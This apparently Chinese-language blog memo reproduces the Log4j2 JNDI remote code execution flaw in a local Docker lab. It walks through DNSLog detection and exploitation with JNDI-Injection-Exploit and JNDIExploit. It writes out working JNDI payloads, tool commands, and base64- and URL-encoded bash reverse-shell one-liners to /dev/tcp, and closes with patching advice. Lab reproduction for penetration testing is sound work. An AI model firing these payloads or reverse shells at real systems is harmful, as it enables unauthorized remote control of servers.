最近爆出的Log4j2漏洞,堪比当年的MS17-010,危害范围广,利用成本低,朋友圈直接刷爆,简直一大杀器。这里记录一下复现过程,安服可能用到,备忘。

0x01 漏洞原理

  不是开发也不是挖洞大佬,我的理解是开源日志框架Log4j2存在安全漏洞,在特定条件下会把用户的输入直接执行导致RCE。具体漏洞分析和绕过可以看看这篇Apache Log4j2从RCE到RC1绕过

0x02 DNSLog

  刷屏最直观的是一张DNSLog的截图,这是啥?DNSLog是一个公共的DNS平台,当有人请求分配给你的2级域名时,平台会自动记下解析记录。所以这有啥用?? 因为Log4j2漏洞没有回显,无法判断命令是否执行,这时输入你的2级域名(不是单纯输入域名,这里简化),若DNSlog平台有解析记录,表明目标请求了你的域名,存在漏洞。
注意:能否RCE还和目标JDK版本有关系,不是说有解析记录就一定可以远程命令执行

0x03 环境搭建

这里选择Docker环境本地搭建,之后浏览器直接打开http://127.0.0.1:8082 即可。

docker pull vulfocus/log4j2-rce-2021-12-09:latest
docker run -d -p 8082:8080 vulfocus/log4j2-rce-2021-12-09:latest

根据靶机说明,访问http://127.0.0.1:8082/hello 页面,抓包后修改以下三处参数即可。

1.修改GET为POST
2.添加请求头Content-Type: application/x-www-form-urlencoded
3.最后加上payload=${jndi:ldap://xxx.dnslog.cn}

发送Payload后可以看到,DNS平台上有了解析记录,说明测试环境请求了你的域名,存在漏洞。
dnslog

0x04 利用工具

一键工具需要你有一台公网VPS,目标从VPS下载文件进行命令执行。(内网kali举例)
JNDI-Injection-Exploit
首先你需要将命令进行Base64加密,之后根据用法-C 【命令】 -A 【IP】进行利用

原:bash -i >& /dev/tcp/192.168.200.160/8889 0>&1
加密:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xNjAvODg4OSAwPiYx
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xNjAvODg4OSAwPiYx}|{base64,-d}|bash" -A 192.168.200.160

根据回显,可以看到需要用到8180,1099,1389端口,避免上述端口被占用。
JNDI
之后直接将短链接放入Payload中即可反弹回shell,经测试Docker靶机需要用到jndi:rmi的短链接,其他目标环境没有测试。
shell

JNDIExploit
这个工具将命令写在了请求的url中,首先还是Base64加密,之后如果通过BP发包还需要进行URL加密两次,即将"+"替换成""%252B"","="替换成"%253D"。

原:bash -i >& /dev/tcp/192.168.200.112/8889 0>&1
加密:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMTIvODg4OSAwPiYx
=>:YmFzaCAtaSA%252BJiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMTIvODg4OSAwPiYx

启动JNDIExploit,可以看到需要用到8080,1389端口,避免端口被占用。

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.200.112

JNDIExploit
之后将加密后的命令写入Payload中即可执行命令。
Payload:

 ${jndi:ldap://192.168.200.112:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252BJiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMTIvODg4OSAwPiYx}
shell2

0x05 修复建议

目前,Apache官方已发布新版本完成漏洞修复,建议用户尽快进行自查,根据Java版本及时升级至最新版本:https://logging.apache.org/log4j/2.x/download.html